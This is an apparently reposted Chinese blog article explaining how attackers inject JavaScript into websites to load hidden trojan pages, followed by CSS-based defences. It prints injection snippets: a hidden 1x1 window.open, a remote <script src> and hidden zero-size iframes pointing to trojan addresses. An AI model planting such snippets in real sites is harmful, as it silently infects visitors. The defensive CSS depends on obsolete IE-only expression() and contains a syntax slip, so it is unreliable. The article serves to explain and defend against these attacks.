常見JS掛馬方法及如何防止網站被黑客掛馬?


最近有朋友說自己的網站平時並未作弊,文章也都是原創的,更新很穩定。可不知道為什么網站突然就被各大搜索引擎降權了,一直找不到原因。最后發現是網站被掛馬了,導致網站被連累了。在此,借助馬海祥博客的平台,給大家簡單的介紹下js掛馬的方法及如何防止網站被掛馬。

 

一、常見JS掛馬方法

現在最多見的JS掛馬方法有兩種,一種是直接將JavaScript腳本代碼寫在網頁中,當訪問者在瀏覽網頁時,惡意的掛馬腳本就會通過用戶的瀏覽器悄悄地打開網馬窗口,隱藏地運行。

這種方法使用的關鍵代碼如下:

window.open("http://www.mahaixiang.cn/木馬.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

這種代碼往往很長,很容易被安全工程師發現,而且沒有經驗的黑客也喜歡將“width”和“height”參數設為“0”,但是設置為0后,可能會出現惡意代碼不運行的情況。

另外一種JS掛馬方式是,黑客先將掛馬腳本代碼“document.write('<Iframe src="網頁木馬地址" ></iframe>')”,寫入Windows中的寫字板另存為后綴為.js的腳本文件,並上傳到自己指定的網址。這時黑客只需要在受害者 的網站中寫入:

<script src="http://www.mahaixiang.cn/木馬腳本.js"></script>

或者

document.write("<div style='display:none'>")
  document.write("<iframe src="網頁木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
  document.write("</div>")

就成功地將木馬掛到了對方的網頁中了。

馬海祥博客提示:黑客還可以根據情況隨機變換插入的JS掛馬方法,例如黑客有可能會將腳本寫為:

<div >

或者:

<iframe src="vbscript:[掛馬腳本]">

二、如何防止網站被黑客掛馬?

防第一種JS掛馬方式,不方便,用得非常少,而第二種JS掛馬方式才是當前主流的,所以我們主要針對它進行防御。方法就是阻止Src請求的異地外域的JS腳本,代碼如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
  script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}

不過這種方法的缺點就是網站的訪問者將不能看到被掛了JS木馬的相關網頁。

所以我們為安全工程師提供了一段可以中止JS腳本運行的CSS代碼,這段代碼會讓異地外域的JS文件在使用document.write()時,被 document.close()強制關閉。這個時侯JS掛馬的內容往往還沒有來得及寫完,只有部分被強制輸出了,Writer后面的內容再不會被寫入訪 問者的電腦中,從而起到防范JS腳本掛馬的作用。

讓JS木馬的進程迅速中止

在 <head> </head> 之間加入如下代碼:

屏蔽script和iframe

<style type="text/css" id="LinrStudio">
  /*<![CDATA[*/
  iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
  script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');
  /*]]>*/
  </style>

單屏蔽script

<style type="text/css" id="LinrStudio">
  /*<![CDATA[*/
  /*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
  script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
  /*]]>*/
  </style>

如果有朋友發現自己的網站有被掛馬的現象,不妨用這種方法試下。由此可見,平時檢查代碼是維護網站的重要部分,而代碼的簡潔性又是至關重要的。對於如何優化網站代碼,有興趣的朋友可以試下:
CSS在線壓縮軟件 
CSS代碼在線編輯器 

本文為馬海祥博客原創文章,如想轉載,請注明原文網址摘自於http://www.mahaixiang.cn/js/134.html,注明出處;否則,禁止轉載;謝謝配合!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM